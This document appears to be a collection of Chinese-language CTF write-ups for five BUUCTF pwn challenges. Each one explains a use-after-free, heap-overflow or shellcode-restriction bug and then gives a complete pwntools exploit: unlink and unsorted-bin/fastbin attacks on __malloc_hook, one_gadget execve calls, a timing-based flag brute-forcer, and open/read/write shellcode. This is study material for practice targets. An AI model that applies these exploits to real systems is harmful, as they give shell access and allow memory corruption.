261 qctf_2018_noleak
就像题目说的一样,程序很简单,但确实是没有泄露地址的地方。
delete 里面没有清理野指针 造成UAF
update 里面可以重新输入读入的长度 造成堆溢出
那问题来了,怎么利用这两个漏洞点。
有两种利用方法,下面那一堆链接里面有。
第一种
我们先通过unlink机制,控制buf部分内容,结合题目具体点就是把buf-0x18的地址写到了buf中,然后利用unsorted_bin attack,把buf看成是一个chunk,将main_arena + 0x88的地址写到buf[6]的地方,再覆盖地址最后两个字节为0x10,从而变成malloc_hook的地址,从而控制malloc_hook,执行提前再bss上写好的shellcode。不停的可以再buf上写是每次写的时候再把buf地址写在buf数组中,就可以一直写。
第二种
就是常说的fastbin_attack malloc_hook attcak组合拳, 下面那链接几个里面有详细介绍组合拳的,我就不罗嗦了。
值得注意的是,unsorted bin attack是在libc2.28之后才消失的,所以这个2.27还是可以unsorted bin attack的。
from pwn import *
context.os = 'linux'
context.arch = 'amd64'
context.log_level = "debug"
r = remote("node4.buuoj.cn", 25467)
#r = process("./261")
elf = ELF('./261')
libc = ELF('./64/libc-2.27.so')
shellcode = asm(shellcraft.sh())
def create(size,content):
r.sendlineafter('Your choice :','1')
r.sendlineafter('Size: ',str(size))
r.sendafter('Data: ',content)
def edit(index,size,content):
r.sendlineafter('Your choice :','3')
r.sendlineafter('Index: ',str(index))
r.sendlineafter('Size: ',str(size))
r.sendafter('Data: ',content)
def delete(index):
r.sendlineafter('Your choice :','2')
r.sendlineafter('Index: ',str(index))
bss_addr = 0x601020
buf_addr = 0x601040
create(0x90,'a'*0x90)
create(0x420,'b'*0x420)
create(0x90,'b'*0x90)
payload = p64(0) + p64(0x91)
payload += p64(buf_addr - 0x18) + p64(buf_addr - 0x10)
payload += (0x90 - 32) * 'a'
payload += p64(0x90) + p64(0X430)
edit(0,len(payload),payload)
delete(1)
payload = p64(0)*3 + p64(bss_addr) + p64(buf_addr)
edit(0,len(payload),payload)
create(0x500,'c'*0x500)
create(0x500,'d'*0x500)
delete(3)
payload = p64(0) + p64(buf_addr + 0x8 * 2)
edit(3, len(payload), payload)
create(0x500,'e'*0x500)
payload = p64(bss_addr) + p64(buf_addr) + p64(0) * 2 + '\x30'
edit(1,len(payload),payload)
edit(0,len(shellcode),shellcode)
edit(4,len(p64(bss_addr)),p64(bss_addr))
#gdb.attach(r)
r.sendlineafter('Your choice :','1')
r.sendlineafter('Size: ','10')
r.interactive()
262 xman_2019_nooocall
逻辑十分简单,就你输入shellcode,大小还不能超过16个字节,但是你看他已经把flag读到了v5开的哪个空间,我们只要写一段write的shellcode就好啦。
但是系统调用全部ban了。
所以用了个盲注,跟之前蓝帽杯那个好像差不多。
通过flag跟每个字符比较,然后一样卡死,来爆破出来flag。
虽然flag写在了0x200000000,但是长度问题,我们就用栈上的FILE结构体的一个地址,里面有缓冲。
exp用的别的大佬的。
#coding:utf8
from pwn import *
import time
context(os='linux',arch='amd64',log_level = 'critical')
#flag里面可能出现的字符
possible_char = []
#字符的顺序可以影响效率,让频率最高的字符放前面
for x in range(0,10):
possible_char.append(str(x))
for x in range(ord('a'),ord('z')+1):
possible_char.append(chr(x))
possible_char.append('{')
possible_char.append('-')
possible_char.append('}')
possible_char.append('\x00')
OK = False
flag = ''
index = 0
while not OK:
print 'guess (',index,') char'
length = len(flag)
for guess_char in possible_char:
#sh = process('./xman_2019_nooocall')
sh = remote('node4.buuoj.cn',26404)
#盲注,如果猜对了,程序会处于一个死循环
shellcode_blind = asm('''mov rax,[rsp+0x10]
mov rax,[rax+0x18]
mov al,byte ptr[rax+%d]
cmp al,%d
jz $-0x2
''' % (index,ord(guess_char)))
sh.sendlineafter('Your Shellcode >>',shellcode_blind)
start = time.time()
sh.can_recv_raw(timeout = 3)
end = time.time()
sh.close()
#根据网络延迟,作相应的修改
if end - start > 3:
if guess_char == '\x00':
OK = True
flag += guess_char
print 'success guess char at(',index,')'
index+=1
break
print 'flag=',flag
if length == len(flag):
OK = True
print 'ojbk!'
263 ycb_2020_easypwn
add
十个chunk,双层结构。
view
del
有uaf。就通过uaf泄露地址,攻击malloc_hook就好啦。
exp
#!usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import*
context.log_level ='DEBUG'
r = remote("node4.buuoj.cn",25233)
#r = process("./263")
elf = ELF('./263')
libc = ELF('./64/libc-2.23.so')
def add(length,name,color):
r.recvuntil("Your choice :")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(":")
r.sendline(name)
r.recvuntil(":")
r.sendline(color)
def visit():
r.recvuntil("Your choice :")
r.sendline("2")
def remove(idx):
r.recvuntil("Your choice :")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
def clean():
r.recvuntil("Your choice :")
r.sendline("4")
add(0x60,'a'*8,'a'*8) #0
add(0x60,'a'*8,'a'*8) #1
add(0x80,'b'*8,'b'*8) #2
add(0x60,'c'*8,'c'*8) #3
remove(2)
add(0x20,'d'*8,'e'*8)
visit()
r.recvuntil("d"*8)
malloc_hook = (u64(r.recvuntil('\x7f')[-6:].ljust(8, "\x00")) & 0xFFFFFFFFFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF)
libc_base = malloc_hook - libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']
system_addr = libc_base + libc.sym["system"]
one_gadget = libc_base +0xf02a4
print "libc_base = " + hex(libc_base)
remove(0)
remove(1)
remove(0)
add(0x60,p64(malloc_hook - 0x23),'a')
add(0x60,'b','b')
add(0x60,'c','c')
payload = 'a'*0x13 + p64(one_gadget) + p64(realloc+0xc)
add(0x60,payload,'d')
#gdb.attach(r)
#两次free同一个chunk,触发报错函数
#而调用报错函数的时候又会用到malloc-hook,从而getshell
remove(0)
remove(0)
# r.recvuntil("Your choice :")
# r.sendline("1")
r.interactive()
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
264 rctf_2019_shellcoder
是一段小程序。
第一个函数长这样。
函数得调用都是通过syscall来的,整个读下来逻辑是首先是输出,然后申请了一块空间,可以往里面读七个字节,然后跳过去。
当然七个字节肯定不够我们去继续orw,所以我们根据当前的寄存器状态,然后就写出了
from pwn import *
context.arch="amd64"
#context.log_level="debug"
r = remote("node4.buuoj.cn",28871)
s='''
xchg rdi,rsi;
mov dl,0xff;
syscall;
'''
r.recvuntil("hello shellcoder:")
r.send(asm(s))
r.send(asm(s)+asm(shellcraft.sh()))
r.interactive()
265 gwctf_2019_shellcode
反汇编不了,老老实实读汇编。
输入名字,然后开了沙箱,会判断名字是不是可现实字符。
可显示就跑去执行。
但是试了很久,长度总是会比较长,那么还有没有什么别的法子。
发现有个strlen函数,可以用它把is_printable函数给绕过。所以我只要保证第一个’\x00’前面的都是可见的就好啦。
exp
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
r = remote("node4.buuoj.cn", 27023)
shellcode =asm(
'''
push 0
push 0x67616c66
mov rdi, rsp
mov rax, 2
xor rsi, rsi
syscall
mov rdi, rax
mov rsi, rsp
mov rdx, 0x30
xor rax, rax
syscall
mov rax, 1
mov rdi, 1
syscall
''')
print shellcode
r.sendline(shellcode)
r.interactive()